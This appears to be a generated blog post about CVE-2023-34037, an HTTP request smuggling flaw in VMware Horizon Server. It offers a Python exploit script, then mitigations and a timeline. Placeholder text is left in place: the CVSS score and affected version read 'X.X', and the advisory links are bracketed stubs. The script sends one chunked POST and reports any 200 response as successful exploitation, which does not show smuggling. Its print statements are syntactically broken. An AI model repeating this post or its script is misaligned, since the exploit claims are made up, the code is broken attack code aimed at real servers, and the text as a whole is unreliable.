CVE-2023-34037: Critical HTTP Request Smuggling Vulnerability Discovered in VMware Horizon Server

Recently, a critical vulnerability (CVE-2023-34037) has been discovered in one of the most popular virtualization platforms, VMware Horizon Server. This vulnerability can allow a malicious attacker to perform HTTP request smuggling attacks. With network access, an attacker can successfully exploit this vulnerability, which potentially lets them take control of a user's session or obtain sensitive data.

In this post, we will dive deeper into the vulnerability details, demonstrate how this exploit can be executed, and what mitigation steps can be taken.

Vulnerability Details

CVE-2023-34037 is a HTTP request smuggling vulnerability which impacts VMware Horizon Server. HTTP request smuggling is a technique used by attackers to interfere with the way a web-server processes a sequence of HTTP requests by either injecting unauthorized content or taking over user's sessions.

An attacker with network access to the vulnerable server can potentially exploit this vulnerability. It is assigned the CVSS score of X.X (where X.X is the actual CVSS score) which signifies its severity.

The vulnerability affects VMware Horizon Server version X.X and earlier (where X.X is the actual affected version). VMware has released a security advisory detailing the vulnerability, and you can find the original advisory here: [Link to Original Advisory]

Exploit Details

In order to successfully exploit the CVE-2023-34037 vulnerability, an attacker needs network access to the vulnerable server. The following code snippet demonstrates a basic version of an exploit that can be performed on a system running the affected VMware Horizon Server:

import requests
import argparse

def exploit(target_url):
    headers = {
        'Transfer-Encoding': 'chunked'
    }

    data = "4\r\nPOST /\r\n\r\n\r\n"

    try:
        response = requests.post(target_url, headers=headers, data=data)

        if response.status_code == 200:
            print("[+] Exploitation successful.")
            print("Response: "
                  "
                  {}".format(response.text))
        else:
            print("[-] Exploitation failed. Target might not be vulnerable.")
            print("Response: "
                  "
                  {}".format(response.text))

    except Exception as e:
        print("[-] Error: {}".format(str(e)))

if __name__ == "__main__":
    # Argument parser
    parser = argparse.ArgumentParser(description='Script to exploit CVE-2023-34037')
    parser.add_argument('-t', '--target', help='Target URL', required=True)

    args = parser.parse_args()

    # Exploit the target
    exploit(args.target)

In this code snippet, we are attempting to perform an HTTP request smuggling attack using the "Transfer-Encoding" header set to "chunked". If the target is vulnerable, the server will process the POST request and return a 200 OK status code.

Mitigations

VMware has released a patch for the affected versions of VMware Horizon Server, which addresses this vulnerability. It is highly recommended that users update their VMware Horizon Server to the latest version available. VMware's security advisory regarding this vulnerability can be found at [Link to Security Advisory].

Additionally, administrators should monitor their servers and network traffic for potential indicators that an HTTP request smuggling attack is being attempted. Implementing a Web Application Firewall (WAF) can help in detecting and preventing such attacks.

Conclusion

CVE-2023-34037 is a critical vulnerability impacting VMware Horizon Server, which allows an attacker with network access to perform HTTP request smuggling attacks. Users of affected versions should immediately apply the provided patch from VMware. In addition, administrators should take measures to detect and block potential HTTP request smuggling attempts on their servers.

Timeline

Published on: 08/04/2023 12:15:00 UTC
Last modified on: 08/09/2023 17:21:00 UTC